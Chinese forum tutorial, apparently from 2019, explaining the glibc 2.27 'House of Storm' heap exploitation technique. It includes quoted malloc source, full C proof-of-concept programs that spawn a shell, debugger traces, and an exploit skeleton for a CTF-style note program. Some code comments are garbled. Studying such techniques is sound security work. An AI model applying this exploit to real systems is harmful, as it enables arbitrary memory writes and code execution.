House of Strom 漏洞

Ex / 2019-06-04 09:31:00 / 浏览数 5197 安全技术 二进制安全 顶(0) 踩(0)

一个很抽象的漏洞

原理

源码截取自glibc-2.27/malloc/malloc.c:3729

该段代码的功能就是在`unsorted bin`中找到与malloc的chunk相匹配的chunk，如果不匹配就把该`unsorted bin`放回到它对应的bin中，利用点就在这段代码里面。

```
for (;; )
   {
     int iters = 0;
     while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
       {
         bck = victim->bk;
         if (__builtin_expect (chunksize_nomask (victim) <= 2 * SIZE_SZ, 0)
             || __builtin_expect (chunksize_nomask (victim)
                  > av->system_mem, 0))
           malloc_printerr ("malloc(): memory corruption");
         size = chunksize (victim);

         /*
            If a small request, try to use last remainder if it is the
            only chunk in unsorted bin.  This helps promote locality for
            runs of consecutive small requests. This is the only
            exception to best-fit, and applies only when there is
            no exact fit for a small chunk.
          */

         if (in_smallbin_range (nb) &&
             bck == unsorted_chunks (av) &&
             victim == av->last_remainder &&
             (unsigned long) (size) > (unsigned long) (nb + MINSIZE))
           {
             /* split and reattach remainder */
             remainder_size = size - nb;
             remainder = chunk_at_offset (victim, nb);
             unsorted_chunks (av)->bk = unsorted_chunks (av)->fd = remainder;
             av->last_remainder = remainder;
             remainder->bk = remainder->fd = unsorted_chunks (av);
             if (!in_smallbin_range (remainder_size))
               {
                 remainder->fd_nextsize = NULL;
                 remainder->bk_nextsize = NULL;
               }

             set_head (victim, nb | PREV_INUSE |
                       (av != &main_arena ? NON_MAIN_ARENA : 0));
             set_head (remainder, remainder_size | PREV_INUSE);
             set_foot (remainder, remainder_size);

             check_malloced_chunk (av, victim, nb);
             void *p = chunk2mem (victim);
             alloc_perturb (p, bytes);
             return p;
           }

         /* remove from unsorted list */
         unsorted_chunks (av)->bk = bck;
         bck->fd = unsorted_chunks (av);

         /* Take now instead of binning if exact fit */
```

```
          if (size == nb)
            {
              set_inuse_bit_at_offset (victim, size);
              if (av != &main_arena)
        set_non_main_arena (victim);
#if USE_TCACHE
          /* Fill cache first, return to user only if cache fills.
         We may return one of these chunks later.  */
          if (tcache_nb
          && tcache->counts[tc_idx] < mp_.tcache_count)
        {
          tcache_put (victim, tc_idx);
          return_cached = 1;
          continue;
        }
          else
        {
#endif
              check_malloced_chunk (av, victim, nb);
              void *p = chunk2mem (victim);
              alloc_perturb (p, bytes);
              return p;
#if USE_TCACHE
        }
#endif
            }

          /* place chunk in bin */

          if (in_smallbin_range (size))
            {
              victim_index = smallbin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;
            }
          else
            {
              victim_index = largebin_index (size);
              bck = bin_at (av, victim_index);
              fwd = bck->fd;

              /* maintain large bins in sorted order */
              if (fwd != bck)
                {
                  /* Or with inuse bit to speed comparisons */
                  size |= PREV_INUSE;
                  /* if smaller than smallest, bypass loop below */
                  assert (chunk_main_arena (bck->bk));
                  if ((unsigned long) (size)
              < (unsigned long) chunksize_nomask (bck->bk))
                    {
                      fwd = bck;
                      bck = bck->bk;

                      victim->fd_nextsize = fwd->fd;
                      victim->bk_nextsize = fwd->fd->bk_nextsize;
                      fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
                    }
                  else
                    {
                      assert (chunk_main_arena (fwd));
                      while ((unsigned long) size < chunksize_nomask (fwd))
                        {
                          fwd = fwd->fd_nextsize;
              assert (chunk_main_arena (fwd));
                        }

                      if ((unsigned long) size
              == (unsigned long) chunksize_nomask (fwd))
```

```
                      /* Always insert in the second position.  */
                      fwd = fwd->fd;
                    else
                      {
                        victim->fd_nextsize = fwd;
                        victim->bk_nextsize = fwd->bk_nextsize;
                        fwd->bk_nextsize = victim;
                        victim->bk_nextsize->fd_nextsize = victim;
                      }
                    bck = fwd->bk;
                  }
              }
            else
              victim->fd_nextsize = victim->bk_nextsize = victim;
          }

         mark_bin (av, victim_index);
         victim->bk = bck;
         victim->fd = fwd;
         fwd->bk = victim;
         bck->fd = victim;

#if USE_TCACHE
     /* If we've processed as many chunks as we're allowed while
    filling the cache, return one of the cached ones.  */
     ++tcache_unsorted_count;
     if (return_cached
     && mp_.tcache_unsorted_limit > 0
     && tcache_unsorted_count > mp_.tcache_unsorted_limit)
   {
     return tcache_get (tc_idx);
   }
#endif

#define MAX_ITERS       10000
         if (++iters >= MAX_ITERS)
           break;
       }
```

原理就是unsorted bin上面储存了一个还没归位large bin和我们要申请的任意地址，large bin的bk_nextsize也被我么所控制指向申请的任意地址chunk的size部分，当我们再次申请的chunk的时候，large bin归位，触发的效果就是修改了任意地址chunk的size部分，但进行第二次unsorted bin搜索的时候就能申请到那个任意地址。

条件

1. 可以控制unsorted bin和large bin
2. 任意地址chunk的size的低四位要为0

代码解析

由于这个漏洞比较复杂，我将会用代码来进行解释。

有PIE的情况

```
// compiled: gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct {
   char padding[0x10]; // NULL padding
   char sh[0x10];
}global_container = {"","id"};

int main()
{
   char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

   unsorted_bin = malloc(0x4e8); // size 0x4f0
```

```
    // ■■■■
    malloc(0x18);
    large_bin = malloc(0x4d8); // size 0x4e0
    // ■■■■
    malloc(0x18);

    // FIFO
    free(large_bin); // ■■■■chunk
    free(unsorted_bin);

    // large_bin ■■
    unsorted_bin = malloc(0x4e8);
    // unsorted_bin ■■
    free(unsorted_bin);

    fake_chunk = global_container.sh - 0x10;

    ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
    ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk

    ((size_t *)large_bin)[0] = 0; // large_bin->fd
    // ■■■■■■■“bk”■■■■■■■■■bin■■■■■■
    ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
    ((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
    // ■■■■■■■■■■■■■■■“■■”
    ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize

    ptr = malloc(0x48);
    strncpy(ptr, "/bin/sh", 0x48 - 1);
    system(global_container.sh);

    return 0;
}
```

下面我将对代码分段解释。

可控的 unsorted bin 和 large bin

```
unsorted_bin = malloc(0x4e8); // size 0x4f0
// ■■■■
malloc(0x18);
large_bin = malloc(0x4d8); // size 0x4e0
// ■■■■
malloc(0x18);

// FIFO
free(large_bin); // ■■■■chunk
free(unsorted_bin);

// large_bin ■■
unsorted_bin = malloc(0x4e8);
// unsorted_bin ■■
free(unsorted_bin);
```

可以看到我们事先申请了两块chunk，一块放在`large bin`中，一块放在`unsorted bin`中。这两块chunk我们是可以控制的。

修改 unsorted bin

```
((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->bk
```

在进行下一次`malloc`的时候，会先在`unsorted bin`中查找size刚好合适的chunk，并会把每次匹配失败的chunk进行归位。这里就是为了构造这样的一个`unsorted bin`，所以在下一次`malloc`的时候，`unsorted bin`的第一个chunk，也就是我们可以控制的chunk将会归位（回到`large bin`），然后对下一个chunk，也就是我们构造的`fake_chunk`进行匹配。

我们的目的就是为了让`fake_chunk`可以在下面的代码中直接逃逸出去。

```
if (size == nb)
   {
     set_inuse_bit_at_offset (victim, size);
```

```
     if (av != &main_arena)
set_non_main_arena (victim);
#if USE_TCACHE
 /* Fill cache first, return to user only if cache fills.
We may return one of these chunks later.  */
 if (tcache_nb
 && tcache->counts[tc_idx] < mp_.tcache_count)
{
 tcache_put (victim, tc_idx);
 return_cached = 1;
 continue;
}
 else
{
#endif
     check_malloced_chunk (av, victim, nb);
     void *p = chunk2mem (victim);
     alloc_perturb (p, bytes);
     return p;
#if USE_TCACHE
}
#endif
   }
```

这段代码的功能就是对chunk的`size`和■■■`size`进行匹配，如果匹配成功则直接返回该chunk。我们的目的就是利用后面的`large bin`的成链操作来伪造`size`。

> 注意这里的size都是对齐了的。

修改 unsorted bin

```
((size_t *)large_bin)[0] = 0; // large_bin->fd
// ■■■■■■■“bk”■■■■■■■■■■bin■■■■■■
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
// ■■■■■■■■■■■■■■■■“■■”
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
```

这里我要拆分成两部分来解释，第一部分：

```
// ■■■■■■■“bk”■■■■■■■■■■bin■■■■■■
((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
```

在第一次`unsorted bin`解链后，chunk要归位到`large bin`是，会有下面这段代码会被执行到，执行到这里的时候，fwd的值就是我们的`large bin`的第一个chunk。

```
// .......
         bck = fwd->bk;
       }
   }
 else
   victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
```

从上面可以看到，`large bin`的bk先赋值给了`bck`，因为有`bck->fd = victim`这条代码，如果`large bin`的bk指向的是一个不可写的地址的话，执行到这条语句的时候会直接crash。所以我们需要创建假chunk的“bk”，以避免从未排序的bin解链接时崩溃。

第二部分，也是最重点的地方了，■■`size`，这里我们用的是插入`large bin`的一个漏洞。

```
// ■■■■■■■■■■■■■■■■“■■”
((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 5; // large_bin->bk_nextsize
```

初学者肯定会好奇为什么要这样`fake_chunk - 0x18 - 5`进行偏移？这还要归咎到下面的代码：

```
victim->fd_nextsize = fwd;
victim->bk_nextsize = fwd->bk_nextsize;
```

```
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;
```

在第一次解链的时候，victim就是`unsorted bin`，fwd就是`large bin`这段代码的目的就是为了把`unsorted bin`插入到`large bin`。

```
victim->bk_nextsize = fwd->bk_nextsize;
```

首先，将`large bin`链表转移到要插入的`large bin`的`victim`中，这里我用调试的数据来帮助大家理解，运行到这条指令时，调试结果如下：

```
pwndbg> p victim
$3 = (mchunkptr) 0x555555756000
pwndbg> p *victim
$4 = {
 prev_size = 0,
 size = 1265,
 fd = 0x0,
 bk = 0x555555755060 <global_container>,
 fd_nextsize = 0x555555756510,
 bk_nextsize = 0x0
}
pwndbg> p fwd
$5 = (mchunkptr) 0x555555756510
pwndbg> p *fwd
$6 = {
 prev_size = 0,
 size = 1249,
 fd = 0x0,
 bk = 0x555555755068 <global_container+8>,
 fd_nextsize = 0x0,
 bk_nextsize = 0x555555755043
}
```

执行完这条语句之后：

```
pwndbg> p victim
$9 = (mchunkptr) 0x555555756000
pwndbg> p *victim
$10 = {
 prev_size = 0,
 size = 1265,
 fd = 0x0,
 bk = 0x555555755060 <global_container>,
 fd_nextsize = 0x555555756510,
 bk_nextsize = 0x555555755043
}
pwndbg> p fwd
$11 = (mchunkptr) 0x555555756510
pwndbg> p *fwd
$12 = {
 prev_size = 0,
 size = 1249,
 fd = 0x0,
 bk = 0x555555755068 <global_container+8>,
 fd_nextsize = 0x0,
 bk_nextsize = 0x555555755043
}
```

那么它的功能也就是将`(size_t)fake_chunk - 0x18 - 5`转移到`victim->bk_nextsize`。

```
victim->bk_nextsize->fd_nextsize = victim;
```

在执行这条语句的时候，由于`victim->bk_nextsize`的地址就是`(size_t)fake_chunk - 0x18 - 5`的值，那么就相当于我们有一次任意地址写的机会，那么肯定是用来构造我们的size，以便在第二次解链的时候直接返回任意chunk。

`0x18`就是一个chunk的`fd_nextsize`的偏移，因为上面的代码是要把victim写在这里，所以我们需要提取向前偏移`0x18`，而`-5`就是为了伪造size，在开启PIE的情况下，一般victim的值在`0x555555756000`附近左右，当偏移5个字节之后，那么写入size的地址就刚好是`0x55`，由于受随机化的影响这

获得任意地址

所以当我们申请的size和`0x55`经过对齐后相等的话，那么就可以拿到任意的chunk。

```
ptr = malloc(0x48);
```

检查

在拿chunk的时候，会对chunk的mmap标志位，这里如果有错的话会直接crash，但是由于程序有随机化，多运行几次总能有一次成功的。

```
assert (!victim || chunk_is_mmapped (mem2chunk (victim)) ||
   ar_ptr == arena_for_chunk (mem2chunk (victim)));
```

运行实例

```
ex@ubuntu:~/test$ gcc -g -fPIC -pie House_of_Strom.c -o House_of_Strom
ex@ubuntu:~/test$ ./House_of_Strom
Segmentation fault (core dumped)
ex@ubuntu:~/test$ ./House_of_Strom
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$
```

无PIE的情况

演示代码：

```
// compiled: gcc -g -no-pie House_of_Strom.c -o House_of_Strom
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

struct {
   char padding[0x10]; // NULL padding
   char sh[0x10];
}global_container = {"","id"};

int main()
{
   char *unsorted_bin, *large_bin, *fake_chunk, *ptr;

   unsorted_bin = malloc(0x4e8); // size 0x4f0
   // ■■■■
   malloc(0x18);
   large_bin = malloc(0x4d8); // size 0x4e0
   // ■■■■
   malloc(0x18);

   // FIFO
   free(large_bin); // ■■■■chunk
   free(unsorted_bin);

   // large_bin ■■
   unsorted_bin = malloc(0x4e8);
   // unsorted_bin ■■
   free(unsorted_bin);

   fake_chunk = global_container.sh - 0x10;

   ((size_t *)unsorted_bin)[0] = 0; // unsorted_bin->fd
   ((size_t *)unsorted_bin)[1] = (size_t)fake_chunk; // unsorted_bin->fd

   ((size_t *)large_bin)[0] = 0; // large_bin->fd
   // ■■■■■■■“bk”■■■■■■■■■bin■■■■■■
   ((size_t *)large_bin)[1] = (size_t)fake_chunk + 8; // large_bin->fd
   ((size_t *)large_bin)[2] = 0; // large_bin->fd_nextsize
   // ■■■■■■■■■■■■■■■“■■”
   ((size_t *)large_bin)[3] = (size_t)fake_chunk - 0x18 - 2; // large_bin->bk_nextsize

   ptr = malloc(0x58);
   strncpy(ptr, "/bin/sh", 0x58 - 1);
   system(global_container.sh);

   return 0;
```

```
}
```

原理和有PIE的情况是一样的，但是受随机化的影响，chunk的地址可能是`0x610000-0x25d0000`的任意一个内存页，所以概率是`1/32`，相对于有PIE的`1/3`的概率要小很多

exploit

一般 House of Strom 是利用 off by one 漏洞构成 shrin chunk导致 overlaping ，然后在控制`large bin`和`unsorted bin`进行House of Strom，具体格式形似如下：

```
alloc_note(0x18)  # 0
alloc_note(0x508)  # 1
alloc_note(0x18)  # 2
alloc_note(0x18)  # 3
alloc_note(0x508)  # 4
alloc_note(0x18)  # 5
alloc_note(0x18)  # 6

# ■pre_size■■ 0x500 ,■■■■■■
edit_note(1, 'a'*0x4f0 + p64(0x500))
# ■■1■■■unsort bin ■■chunk size=0x510
# 2■■prev_size ■ 0x510
delete_note(1)

# off by null ■1■■■size■■■■■0x500■
# ■■■■0x500■■■■■■■■■
edit_note(0, 'a'*(0x18))

alloc_note(0x18)  # 1  ■unsorted bin■■■■■■
alloc_note(0x4d8)  # 7 ■■■ 1 ■■

delete_note(1)
delete_note(2)  # unlink■■■■extend

# 2■■■7■■■■■■■■■■7■■■■2■■■■■
alloc_note(0x30)  # 1
alloc_note(0x4e8)  # 2

# ■■■■
edit_note(4, 'a'*(0x4f0) + p64(0x500))
delete_note(4)
edit_note(3, 'a'*(0x18))
alloc_note(0x18)  # 4
alloc_note(0x4d8)  # 8
delete_note(4)
delete_note(5)
alloc_note(0x40)  # 4

# ■2■■■4■■■■■■unsort bin■large bin
delete_note(2)
alloc_note(0x4e8)    # 2
delete_note(2)
```

上面的代码来自：http://blog.eonew.cn/archives/709 。

总结

这样一个任意地址申请漏洞，危害还是相当大的。

上一篇：CVE-2019-0725漏洞利用... 下一篇：一次不完美的Jboss渗透